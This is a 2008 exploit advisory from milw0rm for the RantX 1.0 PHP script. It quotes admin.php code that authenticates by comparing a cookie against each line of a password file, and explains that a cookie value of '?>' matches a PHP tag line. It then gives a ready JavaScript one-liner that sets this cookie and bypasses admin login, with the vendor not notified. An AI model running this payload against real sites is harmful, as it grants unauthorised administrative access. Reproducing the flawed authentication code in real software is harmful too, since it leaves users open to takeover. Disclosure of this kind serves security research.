--==+================================================================================+==--
--==+		  RantX 1.0 Insecure Admin Authentication Vulnerability	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 14 MAY 2008
Script Download: http://roticv.rantx.com/rantx.zip
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

RantX suffers from a insecure admin authentication peice of code, the code is below. (in middle of admin.php)

CODE:

if ($_COOKIE["logininfo"] == NULL){
	LoginPage();
	exit(-1);
}
$storedformat = $_COOKIE["logininfo"];
$filehandle = fopen($passwordfile, "r");
$contents = fread ($filehandle, filesize ($passwordfile));
fclose ($filehandle);
$array2 = explode("\n", $contents);
foreach ($array2 as $values){
	if (strcmp($values, $storedformat) == 0){
		$passwordvalid = true;
	}
}

__EOF__

ok as we can see, the first thing is that the script checks to see if the cookie "logininfo" exists,
we can simply craft a cookie with javascript to bypass this part, or form a legit login request.

next the password file is opened, then the lines are split into an array, then they are looped thru, if the
line matches the cookie then authentication to admin is GIVEN (TRUE).

if you check the password.php source, you can see it contains the php tags, of course. (<?php/?>)
so what if we give the cookie a value of "<?php" or "?>" then when the cookie is checked against the password
file, one line will return TRUE which will give us admin, as strcmp() compares a string, and since
the password.php file contains "?>" and our cookie will contain "?>" we will get access.

the below javascript code will exploit this bug.



Exploit:

javascript:document.cookie = "logininfo=?>; path=/";



NOTE/TIP: 

after running the above javascript code in your browser (preferbly firefox/netscape), vist "Admin.php"

this should come to your attention how many web-developers are very bad coders. and leave massive
easy-to-fix holes like this in there scripts.

just remember when downloading a file of any kind to read through its source, and make sure its secure



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+		  RantX 1.0 Insecure Admin Authentication Vulnerability	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-15]